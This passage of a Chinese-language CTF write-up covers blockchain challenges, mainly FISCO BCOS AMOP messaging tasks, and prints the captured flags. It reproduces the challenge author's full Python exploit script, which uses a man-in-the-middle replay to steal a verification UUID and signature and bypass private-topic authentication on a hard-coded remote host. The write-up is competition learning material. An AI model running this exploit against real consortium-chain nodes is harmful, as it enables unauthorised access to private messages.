"0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 26, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0xffffffffffffffffffffffffffffffffffffffffffffffff90fa4a62c3dafafb", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 27, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0x5548c837ab068cf56a2c2479df0882a4922fd203edb7517321831d95078c5f62", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 28, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0x0000000000000000000000000000000000000000000000000000000000000000", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 29, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0xffffffffffffffffffffffffffffffffffffffffffffffff90fa4a62c3dafafb", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 30, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0xffebebfb273923089a3ed6bac0fd4686ac740307859becadeb82f998e30db614", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d", "0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"], "data": "0x0000000000000000000000000000000000000000000000000000000000000000", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 31, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0x9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"], "data": "0x0000000000000000000000000000000000000000000000003782dace9d900000", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 32, "removed": false}]
[InputData]b'M\xe2`\xa2'
--------------------------------------------------------------------------------
2023-10-30 19:05:01.112 | SUCCESS  | Poseidon.Blockchain:ReadOnlyCallFunction:815 - 
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]isSolved()
[Result]True
--------------------------------------------------------------------------------

7

得到flag为:

ACTF{8EW@rE_0F_vEnom0us_sNaK3_81T3$_as_1t_HA$_nO_cOnSc1ENCe}

AMOP1

题目描述

8

9

题目附件

解题过程

这题基于国产联盟链FISCO BCOS构建,主要的知识点是链上信使协议AMOP (Advanced Messages Onchain Protocol),题目描述中给了足够多的提示,只需使用现成的工具连接到题目区块链环境并订阅消息即可。

下载并构建交互工具(提前安装好 java 8 或以上版本):

git clone https://github.com/FISCO-BCOS/java-sdk-demo.git
cd java-sdk-demo
git checkout origin/main-2.0
./gradlew build

之后修改dist/conf/amop/config-subscriber-for-test.toml中的network配置项:

10

然后将题目附件中的ca.crtsdk.crtsdk.keyprivkey四个文件移动到dist/conf目录下:

11

最后分别执行下面两条命令,订阅并获取公共频道(flag1)私有频道(flag2)的消息:

java -cp 'conf/:lib/*:apps/*' org.fisco.bcos.sdk.demo.amop.tool.AmopSubscriber 'flag1'

java -cp 'conf/:lib/*:apps/*' org.fisco.bcos.sdk.demo.amop.tool.AmopSubscriberPrivateByKey subscribe 'flag2' conf/amop/privkey

12

13

拼接后得到完整flag为:

ACTF{Con5oR7ium_B1ock_cHAiN_sO_INterESt1NG}

AMOP2(非预期 未正确解出)

题目描述

14

15

题目附件

解题思路

这题在第一题的基础上增加了难度,虽然研究了很久,但由于是初识FISCO BCOS,对底层原理等深入的内容并不了解,没有正常解出。但推测大致思路是基于中间人攻击 MITM,自行搭建一个中间节点,与题目节点互相建立P2P连接,同时加入联盟链成为观察者节点 Observer,由于AMOP协议会将消息也同步发送给观察者节点,由于消息本身未进行加密,只是多加了一层身份验证,那么这样我们自己的中间节点便可以捕获到消息发送者 Publisher通过AMOP协议发送到私有频道的消息原文,可以借助它完成或绕过身份验证并读到flag消息。

链上信息传输协议文档

16

17

(以上是比赛时的非预期解结果,我意外解出的原因大概是在我订阅消息的同时出题人恰好运行了他的solve脚本,此时由于证书文件一致或是联盟链身份验证的一些特性,导致我这边也临时通过了身份检验,共享了他的成果,意外地拿到了flag,后续本着实事求是的比赛精神,经过双方联系达成了此次非预期作答不计分的共识。)

以下是出题人赛后提供的solve脚本,本质上是基于文档中私有话题的认证流程部分内容从网络通信层进行中间人攻击,留作参考:

from pwn import *
import abc
import socket
import ssl
from ssl import SSLContext
import json
import requests
context.log_level = 'DEBUG'

# create SSL context
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
context.check_hostname = False
context.load_verify_locations("./conf/ca.crt")
context.load_cert_chain("./conf/sdk.crt", "./conf/sdk.key")
context.set_ecdh_curve("secp256k1")
context.verify_mode = ssl.CERT_REQUIRED

# TARGET_IP = "127.0.0.1"
TARGET_IP = "120.46.58.72"
# TARGET_PORT = 20202 # node2
TARGET_PORT = 41202
# TARGET_RPCPORT = 8547
TARGET_RPCPORT = 48547

PUBLISHER_IP = "127.0.0.1"
PUBLISHER_PORT = 20200  # node1
SUBSCRIBER_IP = "127.0.0.1"
SUBSCRIBER_PORT = 20201

conn = remote(host=TARGET_IP, port=TARGET_PORT, typ="tcp", ssl=True, ssl_context=context, timeout=120)

# let's subscribe a topic here
# which means we need to craft a channel packet
# see class ChannelMessage


def packChannelMsg(type: int, seq: bytes, status: int, payload: bytes):
    # 4 bytes length
    # 2 bytes type
    # 32 bytes seq
    # 4 bytes result
    # then payload
    CHANNEL_HEADER_LENGTH = 42
    result = b""
    result += p32(CHANNEL_HEADER_LENGTH + len(payload), endian="big")
    result += p16(type, endian="big")
    result += seq
    result += p32(status, endian="big")
    result += payload
    return result

##
# 1. fake topices
##


# AMOP_CLIENT_SUBSCRIBE_TOPICS = 50
# packet = packChannelMsg(50, b"\x00" * 32, 0, b'["flag"]')
# coool, but careful, this topic will be set VERIFYING_STATUS
# we also set channel here, we can hear the random UUID now
packet = packChannelMsg(50, b"\x00" * 32, 0, b'["#!$TopicNeedVerify_flag","#!$VerifyChannel_#!$TopicNeedVerify_flag"]')
conn.send(packet)
# wait the topic sync
info("Sleep a while")
time.sleep(3)

##
# 2. leak verify
##
# TODO
# can we do this with channel request instead of RPC request

packet = '{"jsonrpc":"2.0","method":"getPeers","params":[1],"id":1}'
rpcRes = requests.post(f"http://{TARGET_IP}:{TARGET_RPCPORT}", data=packet)
rpcRes = rpcRes.text
rpcResDict = json.loads(rpcRes)
hijackTopic = ""
for peer in rpcResDict["result"]:
    for topic in peer["Topic"]:
        info(f"iterate {topic}")
        if topic.startswith("#!$VerifyChannel_#!$TopicNeedVerify_flag"):
            hijackTopic = topic
            break

if not hijackTopic:
    error("Fail to get topic")
    exit(1)

info(f"Cool we get the hijack topic: {hijackTopic}")
# let's get the random UUID here

# conn.recvuntil(b"#!$VerifyChannel_#!$TopicNeedVerify_flag", drop=True)
# randomuuid = conn.recv(32)
badTopic = b"#!$VerifyChannel_#!$TopicNeedVerify_flag"
requestPacket_1 = conn.recvuntil(badTopic)
info(f"we receive verify request header {requestPacket_1}")

requestPacket_seq = requestPacket_1[-(len(badTopic) + 4 + 1 + 32):-(len(badTopic) + 4 + 1)]
assert (len(requestPacket_seq) == 32)
info(f"we get the seq {requestPacket_seq.hex()}")
randomuuid = conn.recv(32)  # badTopic[randomuuid_idx:]
info(f"Steal the random number: {randomuuid}")

# we need to quickly achieve MITM
# verify_packet = conn.recv()
# info(f"packet with UUID: {verify_packet}")

# let's send a request to see if we can get the answer for this
# and try to fake the reply
# AMOP_REQUEST = 48
conn_hide = remote(host=TARGET_IP, port=TARGET_PORT, ssl=True, ssl_context=context)
target_topic = hijackTopic.encode()  # to bytes
target_payload = bytes([len(target_topic) + 1]) + target_topic + randomuuid
packet = packChannelMsg(48, b"\x00" * 32, 0, target_payload)
conn_hide.send(packet)

# what we will receive here ?
reply = conn_hide.recv()
info(f"hide channel receives: {reply}")
# get the signature here
signature_idx = reply.index(target_topic) + len(target_topic)
signature = reply[signature_idx:]
info(f"hacked signature: {signature.hex()}")

# reply
# AMOP_RESPONSE = 0x31
# be careful with the seq blabla
requestPayload = bytes([len(badTopic) + 1]) + badTopic + signature
reply_packet = packChannelMsg(0x31, requestPacket_seq, 0, requestPayload)

conn.send(reply_packet)

conn.interactive()
conn_hide.interactive()

暂无留言

发表留言